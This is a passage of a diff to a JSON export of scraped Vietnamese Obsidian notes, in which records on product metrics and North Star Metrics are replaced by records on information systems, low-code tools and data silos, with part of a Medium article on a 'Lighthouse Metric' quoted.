Magazine](https://www.smashingmagazine.com/2022/02/thoughts-on-markdown/)\n![Unmixing structure and presentation – Even Westvang (We need to talk about content, Aug 22, 2019) - YouTube](https://youtu.be/lVHj7Y90Ieg?si=NQOU3WJYso6atUCL)\n\n[[Tự động hóa là bản chất của ngành phần mềm. Cái gì phải làm thủ công thì nó là bug]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-02T08:52:00.000Z", - "Ngày cập nhật": "2024-03-03T09:35:00.000Z", - "id": "Ij" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "Ix" }, { - "Tiêu đề": "Chỉ số ta theo đuổi phải là chỉ số về giá trị của sản phẩm đối với người dùng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Chỉ số ta theo đuổi phải là chỉ số về giá trị của sản phẩm đối với người dùng", + "Tiêu đề": "Việc quản lý công việc thường cần một cấu trúc", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Cấu trúc/Việc quản lý công việc thường cần một cấu trúc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "> What should stand out in the definition above are the expressions: _“grow this metric”_ and _“driving sustainable growth.”_ These two simple sentences make it crystal clear what the goal of the NSM should be. What’s less obvious and the part that companies always fail to spot is the “_core value that your product delivers to customers.”_ This is the purpose of the NSM! And yet, as I look around at product teams I’ve worked with, I cannot help but feel that somehow, somewhere we _lost our way, following the wrong star._\n\nNguồn:: [Why the term “North Star Metric” is a terrible metaphor for product success | by Bhavik Patel | CRAP Talks | Medium](https://medium.com/1point96/why-the-term-north-star-metric-is-a-terrible-metaphor-for-product-success-27560fb245f6)\n", + "Toàn bộ nội dung": "[[Cấu trúc phân cấp thường cứng nhắc và nhân tạo]]\n[[Fibery]]\n[[DBMS cấu trúc những cách ta tổ chức và tương tác với mọi dữ liệu được lưu trữ]]\n[[Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-26T08:33:00.000Z", - "Ngày cập nhật": "2023-11-26T08:35:00.000Z", - "id": "Ik" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "Iy" }, { - "Tiêu đề": "Chỉ theo đuổi một chỉ số là quá đơn giản", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Chỉ theo đuổi một chỉ số là quá đơn giản", + "Tiêu đề": "Dữ liệu chính là lập trình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Dữ liệu chính là lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\nNguồn:: [Don’t measure your product using a north star metric](https://kashishhora.com/dont-measure-your-product-using-a-north-star-metric/)\nMâu thuẫn với:: [[Sự đơn giản ép ta phải làm nó cực kỳ tốt]]\n\n[[Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất]]\n[[Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó]]\n[[Con người sẽ theo đuổi kỹ năng mới với giá trị tiềm năng trong phạm vi dự đoán]]\n\n---\nStop treating “north star metrics” like the end-all be-all metric and accept the fact that there is no one metric that summarizes your entire product. **Products and users are complex and can’t be summed up by a single “north star” metric.**\n\nWhat would happen if tomorrow, Apple or Facebook decided to stop reporting anything in their quarterly earnings report except one number? Well, aside from potential SEC lawsuits, the stock price would tumble because nobody would have a clue how they were growing!\n\nIn the same way, your products growth is not a linear function that goes up and to the right. Understanding your product’s growth is like reading a story, not a graph. What you can do, however, is come up with a list of “guidance metrics” that are informative and actionable.\n\nLet’s help John with this.\n\n1. Create a list of core user actions – what are the three main actions users can do when using your product? For John, this list is:\n 1. Viewing a new episode.\n 2. Subscribing to a new podcast.\n 3. Uploading a new episode for a user’s own podcast.\n2. Find a good metric to measure how many users you have. Say Weekly Active Users (WAU), where “active” is defined by someone opening his app for at least 5 seconds.\n3. Now, put (1) and (2) together! John’s guidance metrics are:\n 1. Episodes Viewed/WAU\n 2. Subscribes/WAU\n 3. Uploads/WAU.\n\n![How to come up with guidance metrics](https://kashishhora.com/img/guidance_metrics.png)\n\nNow, John can either create a growth model using these metrics to forecast his product’s growth, create dashboards of these metrics over time so everybody can understand how the product is growing in realtime, measure the success of new features based on what user behavior they should drive – the possibilities are endless!\n\nBy using the three steps outlined above to come up with **guidance metrics**, you can ensure you’re constantly measuring your products growth without being overly focused on one north star metric.\n", + "Toàn bộ nội dung": "Lý do:: [[Lập trình là việc hướng dẫn máy làm theo đúng ý mình, chứ không phải chỉ mỗi viết code]]\n[[Tự động hóa là bản chất của ngành phần mềm. Cái gì phải làm thủ công thì nó là bug]]\n[[Những gì ta viết thì nên được tự động được cấu trúc]]\n[[Dữ liệu không phải thông tin, thông tin không phải kiến thức, kiến thức không phải hiểu biết, hiểu biết không phải thông thái]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-01-01T08:04:00.000Z", - "id": "Il" + "Ngày cập nhật": "2024-09-02T08:51:00.000Z", + "id": "Iz" }, { - "Tiêu đề": "Các chỉ số đo lường thu nhập", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Các chỉ số đo lường thu nhập", + "Tiêu đề": "Email không được sinh ra để trao đổi thông tin, mà là để làm todo list", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Email không được sinh ra để trao đổi thông tin, mà là để làm todo list", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Paul Graham]], ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:22:00.000Z", - "id": "Im" + "Ngày tạo": "2024-09-02T15:53:00.000Z", + "Ngày cập nhật": "2024-09-02T15:54:00.000Z", + "id": "I-" }, { - "Tiêu đề": "Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói", + "Tiêu đề": "Ghi chú thì linh hoạt, nhưng tĩnh. App thì cứng nhắc, nhưng động", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Ghi chú thì linh hoạt, nhưng tĩnh. App thì cứng nhắc, nhưng động", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Thước đo, đo lường, chỉ số, KPI]]\n\nLý do ta cần đặt ra KPI là vì [[Nếu bạn không thể đo lường, bạn không thể cải tiến]], và vì [[Sự đơn giản ép ta phải làm nó cực kỳ tốt]]. Tuy nhiên cần lưu ý đến [[Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó|Định luật Goodhart: \"Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó\"]].\n\nĐể tránh việc [[Chỉ theo đuổi một chỉ số là quá đơn giản]], [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]], và [[Các cấp trong tổ chức nên nói chuyện với nhau bằng thành quả]]. ([[Thành quả (outcome) là kết quả thu được do sự thay đổi về hành vi của người dùng khi tương tác với sản phẩm đã được cải tiến (hoặc sản phẩm mới)]]). \n\nNguồn:: [[Hoàng Đức Minh]]", + "Toàn bộ nội dung": "Khái niệm:: \n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]\nNguồn:: ![Dynamic documents as personal software - Geoffrey Litt - YouTube](https://youtu.be/bJ3i4K3hefI?si=537W13Qe3GvpC_U5&t=481)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:41:00.000Z", - "Ngày cập nhật": "2024-07-22T12:49:00.000Z", - "id": "In" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-19T15:52:00.000Z", + "id": "I_" }, { - "Tiêu đề": "Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó", + "Tiêu đề": "CRM tập trung vào tăng sale, ERP tập trung vào cắt giảm chi phí", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Hình thức lưu trữ/CRM tập trung vào tăng sale, ERP tập trung vào cắt giảm chi phí", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Thước đo, đo lường, chỉ số, KPI]]\n\n> When a measure becomes a target, it ceases to be a good measure\nNguồn:: [[Wikipedia]], [Goodhart's law - Wikipedia](https://en.wikipedia.org/wiki/Goodhart's_law)\n\n[[Nếu bạn không thể đo lường, bạn không thể cải tiến]] ", + "Toàn bộ nội dung": "Nguồn:: ![CRM Là Gì? ERP Là Gì? So Sánh CRM và ERP - YouTube](https://youtu.be/vyOkb6M1bdA)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-21T15:07:00.000Z", - "id": "Io" + "Ngày tạo": "2023-06-24T15:50:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J0" }, { - "Tiêu đề": "NPS trên 50% là đạt được sản phẩm phù hợp thị trường", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/NPS trên 50% là đạt được sản phẩm phù hợp thị trường", + "Tiêu đề": "Dữ liệu dưới dạng văn bản phù hợp cho việc quản lý kiến thức", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Hình thức lưu trữ/Dữ liệu dưới dạng văn bản phù hợp cho việc quản lý kiến thức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-27T07:14:00.000Z", - "id": "Ip" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "J1" }, { - "Tiêu đề": "Nếu bạn không thể đo lường, bạn không thể cải tiến", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Nếu bạn không thể đo lường, bạn không thể cải tiến", + "Tiêu đề": "Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Hình thức lưu trữ/Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Thước đo, đo lường, chỉ số, KPI]]\n\n> I often say that when you can measure what you are speaking about, and express it in numbers, you know something about it; but when you cannot measure it, when you cannot express it in numbers, your knowledge is of a meagre and unsatisfactory kind; it may be the beginning of knowledge, but you have scarcely, in your thoughts, advanced to the stage of science, whatever the matter may be.\n\nNguồn:: Kelvin\n![](https://www.azquotes.com/picture-quotes/quote-if-you-can-not-measure-it-you-can-not-improve-it-lord-kelvin-79-18-55.jpg) ", + "Toàn bộ nội dung": "[[Fibery]]\n[[Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-21T14:57:00.000Z", - "id": "Iq" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J2" }, { - "Tiêu đề": "Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất", + "Tiêu đề": "Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Hình thức lưu trữ/Đảo thông tin khiến cho những thao tác tự động hoá đơn giản không thể làm được", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Không biết phương pháp này đã tối ưu nhất chưa? Không biết nó đã phải đánh đổi cái gì với cái gì?\nBản chất là bài toán tính thể tích vật đa chiều\nNguồn:: [[⚡Hiểu biết sâu/Ξ Nguồn/Wikipedia]], [Multiple-criteria decision analysis - Wikipedia](https://en.wikipedia.org/wiki/Multiple-criteria_decision_analysis)\n\n[[❓Kết quả cuối cùng của MCDA có khác gì với tiền]] \n\n[[Độ tác động của quyết định, độ có sẵn của thông tin, trạng thái của môi trường là một trong nhiều thứ bất định]]\nMCDA cảm giác như chỉ là để chọn sản phẩm chứ không phải chọn công việc nào nên làm. Vì nó là bài toán thông tin đầy đủ. Các tiêu chí quan trọng của công việc như thời gian và sức lực là những thứ không định lượng được, chỉ có khi nào làm mới thấy cần thêm. Đây là bài toán thông tin không đầy đủ\n", + "Toàn bộ nội dung": "Khái niệm:: [[Đơn giản]]\nisland information silo. Những dữ liệu giống nhau được lưu ở những chỗ khác nhau, khiến cho những thao tác tự động hoá đơn giản không thể làm được\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-12-14T04:49:00.000Z", - "id": "Ir" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J3" }, { - "Tiêu đề": "Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Tăng trưởng/Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình", + "Tiêu đề": "❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/Hình thức lưu trữ/❓Tại sao không cho người chưa biết gì về CNTT học về cơ sở dữ liệu trước thay vì học lập trình trước?", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 6 - Growth (Alex Schultz) - YouTube](https://www.youtube.com/watch?v=n_yHZ_vKjno)", + "Toàn bộ nội dung": "Nhiều nơi khi học lập trình trước sẽ cho bắt đầu học Python, vì Python giúp người mới học lập trình tránh được rất nhiều phiền toái (khi so sánh với các ngôn ngữ khác) vì cú pháp, khai báo, luật phức tạp... không cần thiết, từ đó giúp chúng ta tập trung vào cách thức giải quyết vấn đề. Điều này là đúng. Nhưng câu hỏi ở đây không phải là người mới nên bắt đầu bằng ngôn ngữ nào, mà là tại sao lại phải bắt đầu bằng việc học ngôn ngữ? Tại sao không bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình? Vì đó mới là cái thứ họ sẽ làm việc thường xuyên\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T08:23:00.000Z", - "id": "Is" + "Ngày tạo": "2023-06-01T13:14:00.000Z", + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J4" }, { - "Tiêu đề": "Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Tăng trưởng/Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số", + "Tiêu đề": "Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Các tiếp thị về low code hàm ý rằng việc code là việc khó nhất trong việc tạo sản phẩm, nhưng thực ra việc thảo luận và lên kế hoạch mới là thứ quan trọng nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI)", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Jay Little - Low Code Software Development Is A Lie](https://jaylittle.com/post/view/2023/4/low-code-software-development-is-a-lie)\n\n[[Cấu trúc kỹ thuật của sản phẩm phản ánh giới hạn xã hội của tổ chức tạo ra nó]]\n[[Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.)]]. [[Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T08:23:00.000Z", - "id": "It" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J5" }, { - "Tiêu đề": "Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Tăng trưởng/Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ", + "Tiêu đề": "Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Dùng low code để xây dựng hệ thống là đang mang nợ kỹ thuật vào người", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n![[growth.png]]\n\nNguồn:: [[Y Combinator]], ![Lecture 7 - How to Build Products Users Love (Kevin Hale)](https://www.youtube.com/watch?v=sz_LgBAGYyo)\n\n[[Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng]]", + "Toàn bộ nội dung": "[[Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người]] \n[[Sản phẩm no code đem đến sự phản hồi tức thời]]\n[[Bạn có quyền chỉnh sửa dữ liệu của mình dưới bất kỳ hình thức nào]]\n[[Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.)]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-26T08:23:00.000Z", - "id": "Iu" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J6" }, { - "Tiêu đề": "Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Tăng trưởng/Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng", + "Tiêu đề": "Excel dịch chuyển một phần quyền lực của chuyên gia IT vào người sử dụng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel dịch chuyển một phần quyền lực của chuyên gia IT vào người sử dụng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 6 - Growth (Alex Schultz) - YouTube](https://www.youtube.com/watch?v=n_yHZ_vKjno)\n\n[[Các cách xác định sản phẩm đã phù hợp thị trường hay chưa]]\n[[Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ]]", + "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Excel là một ngôn ngữ lập trình mà không làm ta cảm giác là đang lập trình]]\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T10:45:00.000Z", - "id": "Iv" + "Ngày cập nhật": "2024-09-02T08:18:00.000Z", + "id": "J7" }, { - "Tiêu đề": "Đừng dùng chỉ số sao bắc cực, hãy dùng chỉ số hải đăng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Đừng dùng chỉ số sao bắc cực, hãy dùng chỉ số hải đăng", + "Tiêu đề": "Excel không cho ta quản lý phiên bản được", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Hệ thống thông tin/No code, low code/Excel/Excel không cho ta quản lý phiên bản được", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Chỉ số ta theo đuổi phải là chỉ số về giá trị của sản phẩm đối với người dùng]]\n> What should stand out in the definition above are the expressions: _“grow this metric”_ and _“driving sustainable growth.”_ These two simple sentences make it crystal clear what the goal of the NSM should be. What’s less obvious and the part that companies always fail to spot is the “_core value that your product delivers to customers.”_ This is the purpose of the NSM! And yet, as I look around at product teams I’ve worked with, I cannot help but feel that somehow, somewhere we _lost our way, following the wrong star._\n\nNguồn:: [Why the term “North Star Metric” is a terrible metaphor for product success | by Bhavik Patel | CRAP Talks | Medium](https://medium.com/1point96/why-the-term-north-star-metric-is-a-terrible-metaphor-for-product-success-27560fb245f6)\n\n[[Chỉ theo đuổi một chỉ số là quá đơn giản]] \n\n---\n# Why the term “North Star Metric” is a terrible metaphor for product success\n![Bhavik Patel](https://miro.medium.com/v2/resize:fill:66:66/1*xQh5ZzS2iDh6a--qqUF-Iw.png)\n\n6 min read\nSep 7, 2021\n\nI mean, can anyone event point out the North Star?\n![](https://miro.medium.com/v2/resize:fit:933/0*j2BVxjKPVV_wjZOK)\nPhoto by [Adrian Pelletier](https://unsplash.com/@adrianpelletier?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)\n\nA good metaphor should capture the essence of that which it attempts to describe.\n\nIf you asked a thousand Product Managers why they use the North Star as a metaphor for product success, a large majority would likely tell you it’s because it’s the brightest star in the sky or that it’s directly above you or that it helps to guide you North. For the most part, they would be wrong.\n\nFirstly, you need to be able to identify that which guides you, right? If you don’t know which one is the North star, how are you going to know which direction is North? Secondly, it’s actually the 48th brightest star in the night sky! And finally, it is only directly above you if you’re on the North Pole — Not to mention the North Star is not even visible if you live in the Southern Hemisphere!\n\nI know I am being a bit pedantic, but by the end of this post, I hope you’ll agree that the language we use to describe the world around us can be powerful if used correctly or it can lead us astray if not.\n\nEarlier this year, I was doing some work on success metrics with one of our product teams, and in a swirling sea of metrics, goals and KPIs, I struggled to identify what the team’s one North Star was. In fact, I don’t think they even knew. There were just too many metrics and, like the image above, no one stood out from the rest. In the end, we used a [unit economic tree](https://medium.com/crap-talks/first-principles-thinking-if-elon-musk-did-conversion-rate-optimisation-70777c4f2647) to identify how different metrics in their part of the product laddered up to the next metric, which combined with another metric, laddered up to the next metric and so on until we reached the top of the tree (generic example below).\n\n![](https://miro.medium.com/v2/resize:fit:933/1*F0gLixx2Redq-S8ZdVKIeA.png)\n\n[Image from my blog post on first principles thinking](https://medium.com/crap-talks/first-principles-thinking-if-elon-musk-did-conversion-rate-optimisation-70777c4f2647)\n\nAnd that’s when it hit me…\n\nThe reason why the “one metric” is called a North Star Metric (NSM) is that, like the real North Star, most people are unable to identify it as it’s surrounded by billions of other shiny objects. One might even argue that a company’s inability to identify its own North Star is precisely what makes the North Star an apt metaphor.\n\nThis also wasn’t the first time I had come across an issue with the NSM. I had seen this countless times before at previous companies, and although the problem manifested itself in different ways, a problem almost always existed. The challenges ranged from no clear NSM or too many to choose from all the way to the wrongly chosen NSM ([as was the case at Gousto](https://towardsdatascience.com/why-we-moved-away-from-conversion-rate-as-a-primary-metric-14b2d6cb5996)). Even when there was an appropriate one, Product Managers were trying to shoe-horn every feature release into it without realising that they needed to find their own NSM which laddered up to the wider NSM.\n\nAs you can see, the metaphor begins to break down causing confusion. I think it is completely appropriate for teams to have their own “one metric” provided they know how it fits into the bigger picture.\n\n[Sean Ellis](https://www.linkedin.com/in/seanellis/) was the first person to coin the term “North Star Metric”, and whilst his intentions were good, I don’t think he accounted for people misinterpreting the metaphor and using it interchangeably with terms like OKRs or KPIs. In an ideal product organisation, your KPIs and OKRs would ladder up to your NSM once you’ve identified it.\n\n# What is the NSM?\n\n> “The North Star Metric is the single metric that best captures the **core value that your product delivers to customers**. Optimizing your efforts to **grow this metric** is key to **driving sustainable growth** across your full customer base” — Sean Ellis ([source](https://growthhackers.com/articles/north-star-metric/))\n\nWhat should stand out in the definition above are the expressions: _“grow this metric”_ and _“driving sustainable growth.”_ These two simple sentences make it crystal clear what the goal of the NSM should be. What’s less obvious and the part that companies always fail to spot is the “_core value that your product delivers to customers.”_ This is the purpose of the NSM! And yet, as I look around at product teams I’ve worked with, I cannot help but feel that somehow, somewhere we _lost our way, following the wrong star._\n\nI know I have honed in on a team’s inability to identify their NSM as the main challenge, but actually worse than that is for them to:\n\n1. Identify it and still surround it with other shiny objects\n2. Identify the wrong metric because they don’t understand the purpose of the NSM\n\nThe former creates distractions that cause teams to lose sight of the goal, the latter (which is arguably worse) results in a tremendous amount of effort going into the wrong thing. Find the right NSM that delivers value to your customers and don’t place it amongst hundreds of other shiny things!\n\nFrankly, I would much prefer it if we scrapped the term North Star metric and used a metaphor that truly embodied the importance and essence of what we’re trying to describe. I call it the **Lighthouse Metric**.\n\n# Lighthouse Metric\n\n> “A lighthouse is a 